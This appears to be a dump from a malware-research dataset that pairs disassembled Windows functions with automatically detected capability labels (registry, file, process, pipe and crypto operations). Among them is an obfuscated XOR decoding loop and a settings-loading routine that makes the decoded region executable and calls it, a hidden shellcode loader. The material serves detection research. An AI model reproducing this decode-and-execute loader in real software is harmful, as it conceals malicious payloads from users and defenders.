joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4035d0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x228
mov eax, dword [0x42e1f8]
xor eax, esp
mov dword [esp + 0x224], eax
push ebx
push ebp
mov ebp, dword [esp + 0x234]
push esi
mov esi, ecx
mov eax, dword [esi + 4]
mov ecx, dword [esi]
push edi
xor ebx, ebx
or eax, 0x2001f
push ebp
lea edi, [esp + 0x18]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
call fcn.00403520
mov edi, eax
cmp edi, ebx
je 0x40365f
cmp edi, 2
je 0x403649
cmp edi, 3
je 0x403649
mov eax, dword [0x42f124]
push edi
push ebp
push str.CRegKey::RecurseDeleteKey_:_Failed_to_Open_Key__s_Error___d__n
push ebx
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x34], str.C:PROGRA2MICROS1.0VC_atlmfcinclude_atlbase.h
mov dword [esp + 0x38], 0x166a
call fcn.004038e0
add esp, 0x14
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x403658
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
jmp 0x4036ff
lea ecx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x18]
push ebx
push ebx
push ebx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x44]
push eax
push ebx
push ecx
mov dword [esp + 0x3c], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4036ce
lea esp, [esp]
lea edx, [esp + 0x30]
push edx
lea ecx, [esp + 0x18]
call fcn.004035d0
mov edi, eax
cmp edi, ebx
jne 0x403649
lea eax, [esp + 0x28]
push eax
mov eax, dword [esp + 0x18]
push ebx
push ebx
push ebx
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x44]
push edx
push ebx
push eax
mov dword [esp + 0x3c], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x403690
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4036e1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], ebx
mov edi, ebp
mov dword [esp + 0x18], ebx
call fcn.00403800
mov esi, eax
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4036fd
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [esp + 0x234]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00407200
add esp, 0x228
ret 4

Function at 0x403800
Capabilities:
Delete registry key

Disassembly:
cmp dword [esi], 0
jne 0x403826
push str.m_hKey___0
push 0
push 0x1476
push 0x42a9e8
push 2
call fcn.004075b0
add esp, 0x14
cmp eax, 1
jne 0x403826
int3
cmp byte [0x42fee8], 0
jne 0x403856
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40384f
push str.RegDeleteKeyExW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x42feec], eax
mov byte [0x42fee8], 1
mov eax, dword [0x42feec]
test eax, eax
je 0x40386c
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push 0
push ecx
push edi
push edx
call eax
ret
mov eax, dword [esi]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
ret
Function at 0x407200
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e1f8]
jne 0x40720a
repz ret
jmp fcn.0040d4c0
Function at 0x401161
Capabilities:
Get file size
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push 0x6f
push dword [ebp + 8]
call sub.USER32.dll_IsDlgButtonChecked
cmp eax, 1
jne 0x40117b
call fcn.00401240
push 0x80
push dword [0x403078]
call sub.KERNEL32.dll_SetFileAttributesA
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push dword [0x403078]
call sub.KERNEL32.dll_CreateFileA
mov dword [ebp - 4], eax
push 0
push eax
call sub.KERNEL32.dll_GetFileSize
cmp eax, dword [0x4031d1]
je 0x4011c9
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
mov eax, 1
leave
ret 4
mov ecx, dword [0x4031cd]
mov ebx, dword [0x4037cf]
mov edx, dword [0x4037d3]
cmp ecx, 0
je 0x401215
mov eax, dword [ebx]
cmp eax, dword [0x4037d7]
jg 0x401215
pushal
push 0
push 0
push dword [ebx]
push dword [ebp - 4]
call sub.KERNEL32.dll_SetFilePointer
popal
pushal
push 0
push 0x403191
push 1
push edx
push dword [ebp - 4]
call sub.KERNEL32.dll_WriteFile
popal
add ebx, 4
inc edx
dec ecx
jne 0x4011e0
push 0
push 0
push dword [0x4037d7]
push dword [ebp - 4]
call sub.KERNEL32.dll_SetFilePointer
push dword [ebp - 4]
call sub.KERNEL32.dll_SetEndOfFile
push dword [ebp - 4]
call sub.KERNEL32.dll_CloseHandle
mov eax, 2
leave
ret 4

Function at 0x401240
Capabilities:
Copy file

Disassembly:
mov edi, dword [0x403078]
push edi
xor al, al
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
mov esi, 0x403084
xchg edi, esi
push edi
push ecx
rep movsb byte es:[edi], byte [esi]
pop ecx
pop edi
sub ecx, 4
cmp byte [ecx + edi], 0x2e
je 0x40126b
add ecx, 4
and byte [ecx + edi], 0
add edi, ecx
mov esi, str..bak
mov ecx, 4
rep movsb byte es:[edi], byte [esi]
push 0
push 0x403084
push dword [0x403078]
call sub.KERNEL32.dll_CopyFileA
xor eax, eax
ret
Function at 0x40a7e3
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
and dword [edi], 0
cmp dword [ebp + 0xc], 0x40
jae 0x40a80d
mov dword [edi], 0x138
mov eax, 0x8007007a
jmp 0x40a907
mov ecx, 0x5a4d
cmp cx, word [eax]
je 0x40a821
mov eax, 0x8007000d
jmp 0x40a907
push esi
mov esi, dword [eax + 0x3c]
cmp dword [ebp + 0xc], esi
jae 0x40a83c
add esi, 0xf8
mov dword [edi], esi
mov eax, 0x8007007a
jmp 0x40a906
lea ecx, [esi + eax]
cmp dword [ecx], 0x4550
je 0x40a851
mov eax, 0x8007000d
jmp 0x40a906
movzx eax, word [ecx + 6]
movzx edx, word [ecx + 0x14]
push ebx
mov ebx, eax
imul ebx, ebx, 0x28
add ebx, esi
lea esi, [ebx + edx + 0x18]
mov dword [ebp - 8], eax
cmp dword [ebp + 0xc], esi
jae 0x40a871
mov dword [edi], esi
jmp 0x40a8e7
lea ebx, [edx + ecx + 0x18]
xor edx, edx
test eax, eax
je 0x40a8ce
mov dword [ebp - 4], ebx
mov esi, dword [ebp - 4]
push 8
pop ecx
mov edi, 0x40509c
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x40a894
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40a8a2
add dword [ebp - 4], 0x28
inc edx
cmp edx, dword [ebp - 8]
jb 0x40a87e
cmp dword [ebp - 8], edx
jbe 0x40a8ce
imul edx, edx, 0x28
lea ecx, [edx + ebx]
mov edx, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
add esi, edx
cmp dword [ebp + 0xc], esi
jae 0x40a8c1
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
jmp 0x40a8e7
mov edi, dword [ebp + 8]
add edx, edi
cmp dword [edx], 0xb0c50003
je 0x40a8d5
mov eax, 0x8007000d
jmp 0x40a905
mov esi, dword [edx + 0x24]
mov eax, dword [edx + 0x20]
add eax, esi
cmp dword [ebp + 0xc], eax
jae 0x40a8ee
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, 0x8007007a
jmp 0x40a905
mov eax, dword [ebp + 0x14]
mov dword [eax], edx
mov eax, dword [ecx + 8]
mov ecx, dword [ebp + 0x18]
mov dword [ecx], eax
mov eax, dword [ebp + 0x1c]
add esi, edi
mov dword [eax], esi
mov eax, dword [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret 0x18

Function at 0x40e27e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop edx
mov esi, eax
and esi, 1
dec esi
not esi
and esi, 0xedb88320
shr eax, 1
xor eax, esi
dec edx
jne 0x40e286
mov dword [ecx*4 + 0x42b300], eax
inc ecx
cmp ecx, 0x100
jb 0x40e281
pop esi
ret
Function at 0x415dc8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0x10]
mov edx, dword [edx]
sub esp, 0xc
xor eax, eax
and edx, 7
cmp ecx, 5
jb 0x415f1a
add dword [ebp + 0xc], 5
or dword [ebp - 4], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 8], ecx
lea edi, [eax + esi]
jmp 0x415e04
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x415e09
inc edi
cmp edi, dword [ebp - 8]
jb 0x415dfb
mov eax, edi
sub eax, esi
cmp edi, dword [ebp - 8]
jae 0x415efa
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, 3
jbe 0x415e8d
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp - 4], eax
test cl, cl
je 0x415e35
cmp cl, 0xff
jne 0x415ebc
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
sub esi, eax
sub esi, dword [ebp + 0xc]
mov ebx, esi
mov dword [ebp - 0xc], ebx
test edx, edx
je 0x415ecd
movzx esi, byte [edx + 0x404e80]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
shr ebx, cl
mov cl, bl
test cl, cl
je 0x415e7d
cmp cl, 0xff
jne 0x415eca
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, dword [ebp - 0xc]
jmp 0x415e53
dec ecx
shl edx, cl
and edx, 7
je 0x415e22
movzx ecx, byte [edx + 0x404e80]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0x404e78], 0
mov cl, byte [ebx + 4]
je 0x415eb9
test cl, cl
je 0x415eb9
cmp cl, 0xff
jne 0x415e22
mov dword [ebp - 4], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x415df6
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x415df6
mov esi, eax
sub esi, dword [ebp - 4]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x10]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret 0xc
Function at 0x402e80
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push esi
push edi
mov edi, dword [esp + 0x1c]
cmp edi, 0x311e
jne 0x402f8d
xor ecx, ecx
xor eax, eax
mov al, byte [ecx + 0x4581a4]
mov edx, eax
and edx, 0x1f
shr eax, 5
shl edx, 3
and eax, 7
or edx, eax
inc edx
xor edx, 0x40
dec edx
mov eax, edx
and eax, 0x7f
shr edx, 7
shl eax, 1
and edx, 1
or eax, edx
dec eax
xor eax, ecx
sub eax, ecx
dec eax
mov edx, eax
and eax, 7
shr edx, 3
and edx, 0x1f
shl eax, 5
or edx, eax
xor edx, ecx
sub edx, ecx
add edx, 0xc2
xor edx, ecx
lea edx, [edx + ecx + 2]
mov eax, edx
and edx, 1
shr eax, 1
and eax, 0x7f
shl edx, 7
or eax, edx
sub eax, ecx
add eax, 0x7c
mov edx, eax
and eax, 3
shr edx, 2
and edx, 0x3f
shl eax, 6
or edx, eax
sub edx, 0x51
xor edx, 0xac
mov eax, edx
and edx, 0xf
shr eax, 4
and eax, 0xf
shl edx, 4
or eax, edx
dec eax
xor eax, 0x35
not eax
xor eax, 0x23
not eax
mov edx, eax
and edx, 0x7f
shr eax, 7
shl edx, 1
and eax, 1
or edx, eax
sub edx, ecx
dec edx
mov eax, edx
and edx, 3
shr eax, 2
and eax, 0x3f
shl edx, 6
or eax, edx
xor eax, 0xb8
sub eax, ecx
mov edx, eax
and edx, 0x1f
shr eax, 5
shl edx, 3
and eax, 7
or edx, eax
xor edx, ecx
inc edx
mov eax, edx
shr eax, 7
and al, 1
shl dl, 1
or al, dl
add al, 0x75
mov byte [ecx + 0x4581a4], al
inc ecx
cmp ecx, 0x5c00
jb 0x402e97
mov esi, dword [esp + 0x18]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x402fd7
mov edx, dword [esp + 0x24]
xor ecx, ecx
mov dword [esp + 8], ecx
mov eax, dword [esp + 0x28]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edi
mov dword [esp + 0x10], ecx
mov dword [esp + 0x10], edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push ecx
push edx
push 0x4a
push esi
mov dword [esp + 0x1c], eax
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
add esp, 0xc
ret
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret
Function at 0x403840
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0xffffffffffffffff
push 0x443ee8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [str.MaxLine]
push esi
mov esi, ecx
push 0
mov ecx, dword [str.Settings]
push eax
push ecx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xd0], eax
mov edx, dword [str.PastToSize]
mov eax, dword [str.Settings]
push 0
push edx
push eax
mov ecx, esi
call fcn.00436f6a
push 0x460960
push 0x40
push 0x5c00
push 0x4581a4
push 0xffffffffffffffff
mov dword [esi + 0xd4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [str.WordWrap]
mov edx, dword [str.Settings]
push 0
push ecx
push edx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xd8], eax
mov eax, dword [str.KeepOnTop]
mov ecx, dword [str.Settings]
push 0
push eax
push ecx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xdc], eax
mov edx, dword [str.ExitClose]
mov eax, dword [str.Settings]
push 0
push edx
push eax
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xe0], eax
mov ecx, dword [str.HalfDuplex]
mov edx, dword [str.Settings]
push 0
push ecx
push edx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xe4], eax
mov eax, 0x4581a4
call eax
mov ecx, dword [str.ShowChildWindow]
mov edx, dword [str.Settings]
push 0
push ecx
push edx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xe8], eax
mov eax, dword [str.CRLF]
mov ecx, dword [str.Settings]
push 2
push eax
push ecx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xec], eax
mov edx, dword [str.OemToAnsi]
mov eax, dword [str.Settings]
push 1
push edx
push eax
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xf0], eax
mov ecx, dword [str.UseBuffer]
mov edx, dword [str.Settings]
push 1
push ecx
push edx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xf4], eax
mov eax, dword [str.Command]
mov ecx, dword [str.Settings]
push 0
push eax
push ecx
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0xf8], eax
mov edx, dword [str.Exit]
mov eax, dword [str.Settings]
push 0x4607b0
push edx
lea ecx, [esp + 0x10]
push eax
push ecx
mov ecx, esi
call fcn.00436fd6
push eax
lea ecx, [esi + 0xfc]
mov dword [esp + 0x18], 0
call fcn.00422174
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call fcn.0042203b
mov edx, dword [str.ShowSplitter]
mov eax, dword [str.Settings]
push 0
push edx
push eax
mov ecx, esi
call fcn.00436f6a
mov dword [esi + 0x12c], eax
mov ecx, dword [str.Directory]
mov edx, dword [str.Settings]
push 0
push ecx
lea eax, [esp + 0xc]
push edx
push eax
mov ecx, esi
call fcn.00436fd6
mov eax, dword [esp + 4]
pop esi
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x403a43
push eax
call fcn.0040d978
add esp, 4
lea ecx, [esp]
call fcn.0042203b
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x404320
Capabilities:
Terminate process

Disassembly:
mov dword [ecx], method.CDialog.virtual_8
jmp fcn.00404580
Function at 0x404330
Capabilities:
Create pipe
Create thread

Disassembly:
sub esp, 0x120
push ebx
push ebp
push esi
push edi
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
xor eax, eax
mov dword [esp + 0x20], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x24], eax
lea edx, [esp + 0x14]
push eax
lea ebx, [esi + 8]
push ecx
push edx
mov dword [esp + 0x34], eax
push ebx
mov dword [esp + 0x30], 0xc
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [esp + 0x20]
lea ebp, [esi + 0xc]
push 0
push eax
lea ecx, [esp + 0x34]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
lea edx, [esp + 0x20]
lea eax, [esi + 0x10]
push 0
push edx
mov dword [esp + 0x18], eax
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov edx, dword [esp + 0x14]
push 2
push 0
lea ecx, [esi + 0x14]
push 0
push ecx
push edi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [esp + 0x2c]
push 2
push 0
lea eax, [esi + 0x18]
push 0
push eax
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, dword [esp + 0x1c]
push 2
push 0
lea edx, [esi + 0x1c]
push 0
push edx
push edi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [esp + 0x2c]
push edx
call edi
mov eax, dword [esp + 0x1c]
push eax
call edi
mov ecx, dword [esp + 0x138]
push ecx
mov edx, dword [esp + 0x14]
mov ecx, dword [ebx]
mov eax, dword [edx]
mov edx, dword [ebp]
push eax
mov eax, dword [esp + 0x13c]
push ecx
push edx
push eax
mov ecx, esi
call fcn.004046c0
test eax, eax
mov dword [esi + 0x2c], eax
jne 0x404493
mov ecx, dword [esp + 0x134]
lea edx, [esp + 0x30]
push ecx
push str.Unable_to_start__s_n
push edx
call fcn.0040db31
mov eax, dword [esi]
add esp, 0xc
lea ecx, [esp + 0x30]
push ecx
mov ecx, esi
call dword [eax + 4]
mov edx, dword [ebx]
push edx
call edi
mov eax, dword [ebp]
mov dword [ebx], 0
push eax
call edi
mov esi, dword [esp + 0x10]
mov dword [ebp], 0
mov ecx, dword [esi]
push ecx
call edi
mov dword [esi], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x120
ret 8
push 0
push 0
push 1
push 0
mov dword [0x45dedc], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea edx, [esp + 0x18]
push edx
push 0
push esi
push 0x404520
push 0
push 0
mov dword [esi + 4], eax
call edi
mov dword [esi + 0x20], eax
lea eax, [esp + 0x18]
push eax
push 0
push esi
push 0x404530
push 0
push 0
call edi
lea ecx, [esp + 0x18]
mov dword [esi + 0x24], eax
push ecx
push 0
push esi
push 0x404540
push 0
push 0
call edi
mov edx, dword [esi]
mov dword [esi + 0x28], eax
mov eax, dword [esp + 0x134]
mov ecx, esi
push eax
call dword [edx]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x120
ret 8
Function at 0x404580
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebx
push ebp
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [0x45dedc], edi
mov eax, dword [esi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call ebp
mov eax, dword [esi + 0x28]
cmp eax, edi
je 0x4045bb
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esi + 0x28], edi
mov eax, dword [esi + 8]
cmp eax, edi
je 0x4045cd
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
jmp 0x4045d3
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0xc]
mov dword [esi + 8], edi
cmp eax, edi
je 0x4045e0
push eax
call ebx
mov eax, dword [esi + 0x10]
mov dword [esi + 0xc], edi
cmp eax, edi
je 0x4045ed
push eax
call ebx
push 0x64
mov dword [esi + 0x10], edi
call ebp
mov eax, dword [esi + 0x14]
cmp eax, edi
je 0x4045fe
push eax
call ebx
mov eax, dword [esi + 0x18]
mov dword [esi + 0x14], edi
cmp eax, edi
je 0x40460b
push eax
call ebx
mov eax, dword [esi + 0x1c]
mov dword [esi + 0x18], edi
cmp eax, edi
je 0x404618
push eax
call ebx
push 0x64
mov dword [esi + 0x1c], edi
call ebp
mov eax, dword [esi + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp eax, edi
je 0x40464f
call fcn.004042b0
test eax, eax
jne 0x40463d
mov ecx, dword [esi + 0x20]
push 1
push ecx
call ebx
mov edx, dword [esi + 0x20]
push 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esi + 0x20], edi
cmp dword [esi + 0x24], edi
je 0x404677
call fcn.004042b0
test eax, eax
jne 0x404665
mov eax, dword [esi + 0x24]
push 1
push eax
call ebx
mov ecx, dword [esi + 0x24]
push 0x3e8
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esi + 0x24], edi
push 0x64
call ebp
mov ecx, esi
call fcn.00404550
test eax, eax
je 0x4046a1
mov edx, dword [esi + 0x2c]
push 1
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esi + 0x2c]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 4]
mov dword [esi + 0x2c], edi
cmp eax, edi
je 0x4046b2
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4046c0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
sub esp, 0x54
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x20]
mov edx, dword [esp + 0x74]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x78]
neg eax
sbb eax, eax
mov dword [esp + 0x20], 0x44
and eax, 5
mov dword [esp + 0x4c], 0x101
mov dword [esp + 0x58], ecx
mov dword [esp + 0x60], edx
mov word [esp + 0x50], ax
xor edi, edi
xor esi, esi
call fcn.004042b0
test eax, eax
je 0x40475b
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x14
push 0x40
call esi
mov edi, eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0xc
push 0x40
call esi
mov esi, eax
mov dword [esi], 0xc
mov dword [esi + 4], edi
mov dword [esi + 8], 1
lea ecx, [esp + 0x10]
mov eax, dword [esp + 0x68]
lea edx, [esp + 0x20]
push ecx
push edx
push 0
push 0
push 0x10
push 1
push 0
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebp, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ebx, eax
test esi, esi
je 0x40478c
push esi
call ebp
test edi, edi
je 0x404793
push edi
call ebp
pop edi
pop esi
pop ebp
test ebx, ebx
pop ebx
jne 0x4047a3
xor eax, eax
add esp, 0x54
ret 0x14
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp]
add esp, 0x54
ret 0x14

Function at 0x4047c0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [0x45dedc]
sub esp, 0x108
test eax, eax
push ebp
push esi
push edi
mov esi, ecx
je 0x40482e
mov edi, dword [esp + 0x118]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [esp + 0xc]
push 0
push eax
lea ecx, [esp + 0x18]
push 0x100
push ecx
push edi
call ebp
test eax, eax
je 0x404801
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x404814
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x40482e
mov eax, dword [esp + 0xc]
test eax, eax
je 0x404825
mov edx, dword [esi]
mov byte [esp + eax + 0x10], 0
lea eax, [esp + 0x10]
mov ecx, esi
push eax
call dword [edx + 4]
mov eax, dword [0x45dedc]
test eax, eax
jne 0x4047e1
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x108
ret 4